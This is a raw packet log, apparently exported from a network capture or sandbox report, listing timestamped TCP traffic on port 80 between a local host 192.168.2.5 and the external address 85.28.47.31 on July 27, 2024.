Jul 27, 2024 12:01:15.454653025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.454653025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.454663038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.454673052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.454674006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.454694033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.454720974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.455214977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455224991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455234051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455243111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455254078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455262899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455265045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.455274105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455282927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455286980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.455292940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455307961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.455313921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455323935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455326080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.455332994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455343008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455347061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.455352068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455363035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455367088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.455372095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455377102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455387115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.455404043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.455404043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.455421925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.455966949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.456024885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.542479038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.542583942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.542594910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.542659044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.542659044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.542675018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.542685032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.542690992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.542716026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.542716026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.542746067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.542861938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.542871952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.542881012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.542890072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.542900085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.542901993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.542912006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.542922974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.542949915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.542975903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.543261051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543272018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543281078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543289900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543299913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543299913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.543309927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543320894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543320894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.543348074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.543370008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.543534040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543580055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.543652058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543662071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543672085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543677092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543682098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543693066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543703079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543704987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.543711901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543720961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.543726921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.543752909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.543778896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.544471025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.544503927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.544512987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.544529915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.544555902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.544574022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.544584036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.544617891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.544644117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.544655085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.544670105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.544681072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.544701099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.544701099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.544730902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.544871092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.544882059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.544892073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.544902086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.544914007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.544945002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.544945002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.545094013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545104027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545114040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545124054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545134068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545144081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545150995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.545155048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545171976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.545197010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.545568943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545578957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545588017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545598030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545608044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545617104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545619965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.545625925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545635939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545643091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.545646906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545655966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545661926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.545665979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545676947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.545685053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.545703888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.545722008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.546214104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.546225071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.546235085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.546245098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.546256065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.546266079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.546267986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.546278954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.546294928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.546297073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.546308041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.546310902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.546319008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.546330929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.546336889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.546341896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.546353102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.546364069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.546365976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.546375036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.546382904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.546403885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.546427011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.546983957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547048092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547061920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.547099113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.547125101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547178984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547192097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.547223091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.547252893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547300100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.547317028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547370911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547384024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.547415972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.547444105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547497988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547514915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.547547102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.547574997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547626972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547640085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.547672033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.547700882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547745943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.547765970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547818899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547832012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.547863007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.547893047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547945976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.547960043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.547991037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.548019886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.548074007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.548100948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.548152924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.548171043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.548216105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.548233032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.548280954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.548295975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.548342943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.548357964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.548405886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.548422098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.548466921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.548507929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.548562050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.548576117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.548609018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.548636913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.548683882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.548721075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.548777103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.548789978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.548820972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.548851013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.548903942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.548917055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.548949003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.548976898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.549031973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.549045086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.549076080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.549104929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.549150944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.549169064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.549213886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.549232960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.549278021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.635200024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.635402918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.635416985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.635464907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.635492086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.635539055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.635559082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.635595083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.635612965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.635663033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.635694027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.635749102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.635773897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.635827065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.635839939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.635879040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.635900021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.635956049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.635976076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.636029959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.636043072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.636081934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.636099100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.636152983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.636164904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.636210918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.636235952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.636290073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.636302948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.636341095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.636359930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.636413097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.636437893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.636506081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.636523008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.636562109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.636605024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.636660099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.636672974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.636708975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.636733055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.636776924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.636796951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.636842012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.636864901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.636913061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.636925936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.636966944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.636984110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.637038946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.637065887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.637120008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.637132883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.637178898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.637204885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.637259007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.637271881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.637311935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.637329102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.637377977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.637403965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.637456894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.637470007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.637502909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.637541056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.637594938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.637608051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.637646914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.637664080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.637717962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.637743950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.637797117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.637814045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.637851000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.637875080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.637927055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.637939930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.637969017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.638016939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.638062954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.638082027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.638114929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.638144016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.638189077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.638210058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.638246059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.638286114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.638333082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.638353109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.638382912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.638411999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.638463974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.638475895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.638509989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.638535023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.638587952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.638601065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.638637066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.638663054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.638715029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.638727903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.638760090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.638791084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.638844967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.638869047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.638921976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.638935089 CEST	49704	80	192.168.2.5	85.28.47.31
